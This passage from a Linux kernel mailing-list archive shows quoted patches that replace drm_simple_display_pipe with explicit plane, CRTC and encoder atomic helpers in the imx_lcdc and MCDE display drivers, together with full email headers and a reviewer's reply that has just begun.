> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_plane_state *new_state = pipe->plane.state;
> +	struct drm_plane_state *new_state = crtc->primary->state;
>   	struct drm_framebuffer *fb = new_state->fb;
> -	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
> +	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
>   	u32 lpcr, lvcr, lhcr;
>   	u32 framesize;
>   	dma_addr_t addr;
> @@ -188,16 +189,16 @@ static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
>   		clk_prepare_enable(lcdc->clk_per);
>   }
>   
> -static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
> -				 struct drm_crtc_state *crtc_state,
> -				 struct drm_plane_state *plane_state)
> +static void imx_lcdc_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					       struct drm_atomic_commit *state)
>   {
>   	int ret;
>   	int clk_div;
>   	int bpp;
> -	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
> -	struct drm_display_mode *mode = &pipe->crtc.mode;
> +	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
> +	struct drm_display_mode *mode = &crtc->mode;
>   	struct drm_display_info *disp_info = &lcdc->connector->display_info;
> +	struct drm_plane_state *plane_state = crtc->primary->state;
>   	const int hsync_pol = (mode->flags & DRM_MODE_FLAG_PHSYNC) ? 0 : 1;
>   	const int vsync_pol = (mode->flags & DRM_MODE_FLAG_PVSYNC) ? 0 : 1;
>   	const int data_enable_pol =
> @@ -231,34 +232,34 @@ static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
>   
>   	ret = clk_prepare_enable(lcdc->clk_ipg);
>   	if (ret) {
> -		dev_err(pipe->crtc.dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
> +		dev_err(crtc->dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
>   		return;
>   	}
>   	ret = clk_prepare_enable(lcdc->clk_ahb);
>   	if (ret) {
> -		dev_err(pipe->crtc.dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
> +		dev_err(crtc->dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
>   
>   		clk_disable_unprepare(lcdc->clk_ipg);
>   
>   		return;
>   	}
>   
> -	imx_lcdc_update_hw_registers(pipe, NULL, true);
> +	imx_lcdc_update_hw_registers(crtc, NULL, true);
>   
>   	/* Enable VBLANK Interrupt */
>   	writel(INTR_EOF, lcdc->base + IMX21LCDC_LIER);
>   }
>   
> -static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
> +static void imx_lcdc_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +						struct drm_atomic_commit *state)
>   {
> -	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
> -	struct drm_crtc *crtc = &lcdc->pipe.crtc;
> +	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
>   	struct drm_pending_vblank_event *event;
>   
>   	clk_disable_unprepare(lcdc->clk_ahb);
>   	clk_disable_unprepare(lcdc->clk_ipg);
>   
> -	if (pipe->crtc.enabled)
> +	if (crtc->enabled)
>   		clk_disable_unprepare(lcdc->clk_per);
>   
>   	spin_lock_irq(&lcdc->drm.event_lock);
> @@ -273,17 +274,18 @@ static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
>   	writel(0, lcdc->base + IMX21LCDC_LIER);
>   }
>   
> -static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
> -			       struct drm_plane_state *plane_state,
> -			       struct drm_crtc_state *crtc_state)
> +static int imx_lcdc_crtc_helper_atomic_check(struct drm_crtc *crtc,
> +					     struct drm_atomic_commit *state)
>   {
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
>   	const struct drm_display_mode *mode = &crtc_state->mode;
> -	const struct drm_display_mode *old_mode = &pipe->crtc.state->mode;
> +	const struct drm_display_mode *old_mode = &crtc->state->mode;
> +	int ret;
>   
>   	if (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
>   	    mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
>   	    mode->hdisplay % 0x10) { /* must be multiple of 16 */
> -		drm_err(pipe->crtc.dev, "unsupported display mode (%u x %u)\n",
> +		drm_err(crtc->dev, "unsupported display mode (%u x %u)\n",
>   			mode->hdisplay, mode->vdisplay);
>   		return -EINVAL;
>   	}
> @@ -292,27 +294,42 @@ static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
>   		old_mode->hdisplay != mode->hdisplay ||
>   		old_mode->vdisplay != mode->vdisplay;
>   
> -	return 0;
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);
>   }
>   
> -static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
> -				 struct drm_plane_state *old_state)
> +static void imx_lcdc_plane_helper_atomic_update(struct drm_plane *plane,
> +						struct drm_atomic_commit *state)
>   {
> -	struct drm_crtc *crtc = &pipe->crtc;
> -	struct drm_pending_vblank_event *event = crtc->state->event;
> -	struct drm_plane_state *new_state = pipe->plane.state;
> +	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(state, plane);
> +	struct drm_plane_state *new_state = plane->state;
> +	struct drm_crtc *crtc = new_state->crtc ?: old_state->crtc;
> +	struct drm_pending_vblank_event *event;
>   	struct drm_framebuffer *fb = new_state->fb;
>   	struct drm_framebuffer *old_fb = old_state->fb;
>   	struct drm_crtc *old_crtc = old_state->crtc;
>   	bool mode_changed = false;
>   
> -	if (old_fb && old_fb->format != fb->format)
> -		mode_changed = true;
> -	else if (old_crtc != crtc)
> -		mode_changed = true;
> +	if (!crtc)
> +		return;
>   
> -	imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
> +	if (fb) {
> +		if (old_fb && old_fb->format != fb->format)
> +			mode_changed = true;
> +		else if (old_crtc != crtc)
> +			mode_changed = true;
>   
> +		imx_lcdc_update_hw_registers(crtc, old_state, mode_changed);
> +	}
> +
> +	event = crtc->state->event;
>   	if (event) {
>   		crtc->state->event = NULL;
>   
> @@ -327,11 +344,56 @@ static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
>   	}
>   }
>   
> -static const struct drm_simple_display_pipe_funcs imx_lcdc_pipe_funcs = {
> -	.enable = imx_lcdc_pipe_enable,
> -	.disable = imx_lcdc_pipe_disable,
> -	.check = imx_lcdc_pipe_check,
> -	.update = imx_lcdc_pipe_update,
> +static int imx_lcdc_plane_helper_atomic_check(struct drm_plane *plane,
> +					      struct drm_atomic_commit *state)
> +{
> +	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = plane_state->crtc;
> +	struct drm_crtc_state *crtc_state = NULL;
> +	int ret;
> +
> +	if (crtc)
> +		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +
> +	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);
> +	return ret;
> +}
> +
> +static const struct drm_plane_helper_funcs imx_lcdc_plane_helper_funcs = {
> +	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
> +	.atomic_check	= imx_lcdc_plane_helper_atomic_check,
> +	.atomic_update	= imx_lcdc_plane_helper_atomic_update,
> +};
> +
> +static const struct drm_plane_funcs imx_lcdc_plane_funcs = {
> +	.update_plane		= drm_atomic_helper_update_plane,
> +	.disable_plane		= drm_atomic_helper_disable_plane,
> +	.destroy		= drm_plane_cleanup,
> +	.reset			= drm_atomic_helper_plane_reset,
> +	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
> +};
> +
> +static const struct drm_crtc_helper_funcs imx_lcdc_crtc_helper_funcs = {
> +	.atomic_check	= imx_lcdc_crtc_helper_atomic_check,
> +	.atomic_enable	= imx_lcdc_crtc_helper_atomic_enable,
> +	.atomic_disable	= imx_lcdc_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_crtc_funcs imx_lcdc_crtc_funcs = {
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +};
> +
> +static const struct drm_encoder_funcs imx_lcdc_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   static const struct drm_mode_config_funcs imx_lcdc_mode_config_funcs = {
> @@ -369,7 +431,7 @@ MODULE_DEVICE_TABLE(of, imx_lcdc_of_dev_id);
>   static irqreturn_t imx_lcdc_irq_handler(int irq, void *arg)
>   {
>   	struct imx_lcdc *lcdc = arg;
> -	struct drm_crtc *crtc = &lcdc->pipe.crtc;
> +	struct drm_crtc *crtc = &lcdc->crtc;
>   	unsigned int status;
>   
>   	status = readl(lcdc->base + IMX21LCDC_LISR);
> @@ -387,6 +449,9 @@ static int imx_lcdc_probe(struct platform_device *pdev)
>   	struct imx_lcdc *lcdc;
>   	struct drm_device *drm;
>   	struct drm_bridge *bridge;
> +	struct drm_plane *plane;
> +	struct drm_crtc *crtc;
> +	struct drm_encoder *encoder;
>   	int irq;
>   	int ret;
>   	struct device *dev = &pdev->dev;
> @@ -428,23 +493,40 @@ static int imx_lcdc_probe(struct platform_device *pdev)
>   	if (ret)
>   		return dev_err_probe(dev, ret, "Cannot initialize mode configuration structure\n");
>   
> -	/* CRTC, Plane, Encoder */
> -	ret = drm_simple_display_pipe_init(drm, &lcdc->pipe,
> -					   &imx_lcdc_pipe_funcs,
> -					   imx_lcdc_formats,
> -					   ARRAY_SIZE(imx_lcdc_formats), NULL, NULL);
> +	plane = &lcdc->plane;
> +	ret = drm_universal_plane_init(drm, plane, 0,
> +				       &imx_lcdc_plane_funcs,
> +				       imx_lcdc_formats,
> +				       ARRAY_SIZE(imx_lcdc_formats),
> +				       NULL,
> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
> +	if (ret < 0)
> +		return dev_err_probe(drm->dev, ret, "Cannot initialize primary plane\n");
> +	drm_plane_helper_add(plane, &imx_lcdc_plane_helper_funcs);
> +
> +	crtc = &lcdc->crtc;
> +	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
> +					&imx_lcdc_crtc_funcs, NULL);
> +	if (ret < 0)
> +		return dev_err_probe(drm->dev, ret, "Cannot initialize CRTC\n");
> +	drm_crtc_helper_add(crtc, &imx_lcdc_crtc_helper_funcs);
> +
> +	encoder = &lcdc->encoder;
> +	ret = drm_encoder_init(drm, encoder, &imx_lcdc_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
>   	if (ret < 0)
> -		return dev_err_probe(drm->dev, ret, "Cannot setup simple display pipe\n");
> +		return dev_err_probe(drm->dev, ret, "Cannot initialize encoder\n");
> +	encoder->possible_crtcs = drm_crtc_mask(crtc);
>   
>   	ret = drm_vblank_init(drm, drm->mode_config.num_crtc);
>   	if (ret < 0)
>   		return dev_err_probe(drm->dev, ret, "Failed to initialize vblank\n");
>   
> -	ret = drm_bridge_attach(&lcdc->pipe.encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
> +	ret = drm_bridge_attach(encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
>   	if (ret)
>   		return dev_err_probe(drm->dev, ret, "Cannot attach bridge\n");
>   
> -	lcdc->connector = drm_bridge_connector_init(drm, &lcdc->pipe.encoder);
> +	lcdc->connector = drm_bridge_connector_init(drm, encoder);
>   	if (IS_ERR(lcdc->connector))
>   		return dev_err_probe(drm->dev, PTR_ERR(lcdc->connector), "Cannot init bridge connector\n");
>   
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:02:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:02:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356978.1611480 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRuw-0002CR-QX; Wed, 08 Jul 2026 13:02:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356978.1611480; Wed, 08 Jul 2026 13:02:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whRuw-0002CK-ND; Wed, 08 Jul 2026 13:02:22 +0000
Received: by outflank-mailman (input) for mailman id 1356978;
 Wed, 08 Jul 2026 13:02:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1whRuu-0002CE-Re
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:02:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whRut-00A2aC-Qy
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:02:19 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e4a4d-2eae-0a2a0a5409dd-0a2a45079f16-42
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:02:19 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a4e4a5b-9c8e-0a2a45070019-c387df82a1cc-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:02:19 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id D44FD7605B;
 Wed,  8 Jul 2026 13:02:15 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 34E6E779AE;
 Wed,  8 Jul 2026 13:02:15 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id lm9+C1dKTmoAKwAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Wed, 08 Jul 2026 13:02:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783515739; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=GwGnfA6G4ylXesCDxSkBZDTZ68dGjfJfzkNtJHgtlCM=;
	b=WIPZDABKV1jYwD94oRLSL/gmjWNQLsDl4RyppHX8Fqdzg5AKEmufO7lF1V4YxaptOmbyW8
	kI8MYUikXlw/B+1HGx5rAKTg2dK/QZVj+q7Z/p/cj9lkCAy5YHy3I3TmjnK4RytU0qtaCA
	jmgldMuKhCTOeRwEl9Rfil2vnS2FPTg=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783515739;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=GwGnfA6G4ylXesCDxSkBZDTZ68dGjfJfzkNtJHgtlCM=;
	b=f4PjU3G4Fk8sofDALXBA+yEYGGyuw5EWwrG6oeNMjus0C9+4x8ssW9D3HmREUrT5BWfm+U
	anASh/sAkk/PVIBw==
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.de header.s=susede2_rsa header.b=L7ucXGfe;
	dkim=pass header.d=suse.de header.s=susede2_ed25519 header.b=bIUTr4Aw
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1783515735; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=GwGnfA6G4ylXesCDxSkBZDTZ68dGjfJfzkNtJHgtlCM=;
	b=L7ucXGfeda1sYKy+hiZa+WV+nPB20gttblumdtNMl9hxKeaNCTUDPQFwVDJtw85Ezz20EX
	SHqriPVhBNz4oNYayVCvRG1eeTyELma9zVYoC94eR0NTRK7kKB7fxWapsT0tNo1xp49UEX
	ASR4Z0oEr9MDEquQe7dE6ocVQOqZ7DA=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1783515735;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=GwGnfA6G4ylXesCDxSkBZDTZ68dGjfJfzkNtJHgtlCM=;
	b=bIUTr4AwI8Pd3kUGaQ5sn4+9Nln8LIApYq8XJ461ncBT0Ndxr8OMqGVWSvse2WL9kM9j+L
	pFqmb0FbTLnaTkCQ==
Message-ID: <4d1ddd5d-2635-4ee0-8481-78f3a034233b@suse.de>
Date: Wed, 8 Jul 2026 15:02:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 4/9] drm/mcde: replace struct drm_simple_display_pipe with
 regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
 <20260705-drm-simple-kms-removal-v1-4-b4e1ca053623@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDGffF4TxlOpSQzdtNI/9gleOoUA8+jy8knnDYzjBNOZqLG2FuTdicBXblz0Mf
 vg41gd9kCwYXDnD91rJU8tzylXv03E75NCaTxTM+FBXPmsAVYQ4GYhhgFt8S2UWMoaaABLDe
 7l5FdnLdDEcbmd8uLU2CaG4W2cLrUaI4jz2XbkcPQkqTQ3EB67hYkjiEE6Zy3ggOitiQGcqp
 j//OwE0EWznS4AEIAMYmP4M/V+T5RY5at/g7rUdNsLhWv1APYrh9RQefODYHrNRHUE9eosYb
 T6XMryR9hT8XlGOYRwKWwiQBoWSDiTMo/Xi29jUnn4BXfI2px2DTXwc22LKtLAgTRjP+qbU6
 3Y0xnQN29UGDbYgyyK51DW3H0If2a3JNsheAAK+Xc9baj0LGIc8T9uiEWHBnCH+RdhgATnWW
 GKdDegUR5BkDfDg5O/FISymJBHx2Dyoklv5g4BzkgqTqwmaYzsl8UxZKvbaxq0zbehDda8lv
 hFXodNFMAgTLJlLuDYOGLK2AwbrS3Sp0AEbkpdJBb44qVlGm5bApZouHeJ/+n+7r12+lqdsA
 EQEAAcLAdgQYAQgAIAIbDBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftOH6AAoJEGgNwR1T
 C3ojVSkIALpAPkIJPQoURPb1VWjh34l0HlglmYHvZszJWTXYwavHR8+k6Baa6H7ufXNQtThR
 yIxJrQLW6rV5lm7TjhffEhxVCn37+cg0zZ3j7zIsSS0rx/aMwi6VhFJA5hfn3T0TtrijKP4A
 SAQO9xD1Zk9/61JWk8OysuIh7MXkl0fxbRKWE93XeQBhIJHQfnc+YBLprdnxR446Sh8Wn/2D
 Ya8cavuWf2zrB6cZurs048xe0UbSW5AOSo4V9M0jzYI4nZqTmPxYyXbm30Kvmz0rYVRaitYJ
 4kyYYMhuULvrJDMjZRvaNe52tkKAvMevcGdt38H4KSVXAylqyQOW5zvPc4/sq9c=
In-Reply-To: <20260705-drm-simple-kms-removal-v1-4-b4e1ca053623@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RCPT_COUNT_TWELVE(0.00)[22];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	MIME_TRACE(0.00)[0:+];
	ARC_NA(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	RCVD_TLS_ALL(0.00)[];
	DKIM_TRACE(0.00)[suse.de:+];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[bootlin.com:url,suse.com:url,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.de:mid,suse.de:dkim]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: D44FD7605B
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-ef75cf/1783515739-FFB3325E-A5C51C49/0/0
X-purgate-type: clean
X-purgate-size: 12613

Hi

Am 04.07.26 um 20:31 schrieb Ze Huang:
> Convert MCDE to explicit plane, CRTC and encoder objects.
>
> Keep FIFO, event and framebuffer update sequencing intact, and install
> GEM framebuffer prepare callback explicitly.
>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/mcde/mcde_display.c | 162 +++++++++++++++++++++++++++---------
>   drivers/gpu/drm/mcde/mcde_drm.h     |   6 +-
>   drivers/gpu/drm/mcde/mcde_drv.c     |   3 +-
>   3 files changed, 129 insertions(+), 42 deletions(-)
>
> diff --git a/drivers/gpu/drm/mcde/mcde_display.c b/drivers/gpu/drm/mcde/mcde_display.c
> index 257a6e84dd58..4d86fa5030eb 100644
> --- a/drivers/gpu/drm/mcde/mcde_display.c
> +++ b/drivers/gpu/drm/mcde/mcde_display.c
> @@ -10,6 +10,7 @@
>   #include <linux/regulator/consumer.h>
>   #include <linux/media-bus-format.h>
>   
> +#include <drm/drm_atomic_helper.h>
>   #include <drm/drm_device.h>
>   #include <drm/drm_fb_dma_helper.h>
>   #include <drm/drm_fourcc.h>
> @@ -18,7 +19,6 @@
>   #include <drm/drm_gem_dma_helper.h>
>   #include <drm/drm_mipi_dsi.h>
>   #include <drm/drm_print.h>
> -#include <drm/drm_simple_kms_helper.h>
>   #include <drm/drm_bridge.h>
>   #include <drm/drm_vblank.h>
>   #include <video/mipi_display.h>
> @@ -132,7 +132,7 @@ void mcde_display_irq(struct mcde *mcde)
>   	writel(mispp, mcde->regs + MCDE_RISPP);
>   
>   	if (vblank)
> -		drm_crtc_handle_vblank(&mcde->pipe.crtc);
> +		drm_crtc_handle_vblank(&mcde->crtc);
>   
>   	if (misovl)
>   		dev_info(mcde->dev, "some stray overlay IRQ %08x\n", misovl);
> @@ -157,13 +157,35 @@ void mcde_display_disable_irqs(struct mcde *mcde)
>   	writel(0xFFFFFFFF, mcde->regs + MCDE_RISCHNL);
>   }
>   
> -static int mcde_display_check(struct drm_simple_display_pipe *pipe,
> -			      struct drm_plane_state *pstate,
> -			      struct drm_crtc_state *cstate)
> +static int mcde_plane_helper_atomic_check(struct drm_plane *plane,
> +					  struct drm_atomic_commit *state)
>   {
> -	const struct drm_display_mode *mode = &cstate->mode;
> -	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
> +	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = pstate->crtc;
> +	struct drm_crtc_state *cstate;
> +	const struct drm_display_mode *mode;
